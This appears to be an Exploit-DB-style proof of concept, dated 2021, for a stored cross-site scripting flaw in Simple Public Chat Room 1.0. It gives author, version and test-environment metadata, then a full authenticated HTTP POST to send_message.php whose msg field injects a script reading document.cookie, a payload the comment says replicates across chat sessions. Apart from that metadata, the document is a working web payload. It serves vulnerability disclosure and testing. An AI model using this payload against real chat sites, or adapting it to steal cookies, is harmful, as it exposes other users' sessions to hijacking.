# Exploit Title: Simple Public Chat Room | Authenticated Stored Cross-Site Scripting # Exploit Author: Richard Jones # Date: 2021-01-26 # Vendor Homepage: https://www.sourcecodester.com/php/12295/simple-public-chat-room-using-php.html # Software Link: https://www.sourcecodester.com/download-code?nid=12295&title=Simple+Public+Chat+Room+Using+PHP%2FMySQLi+with+Source+Code # Version: 1.0 # Tested On: Windows 10 Home 19041 (x64_86) + XAMPP 7.2.34 #Replicates across chat sessions.. POST /chat/send_message.php HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0 Accept-Language: en-GB,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Content-Length: 58 Origin: http://localhost Connection: close Cookie: PHPSESSID=r2focevhk11aqka051gt26qfhl msg=%3Cscript%3Ealert(document.cookie)%3C%2Fscript%3E&id=1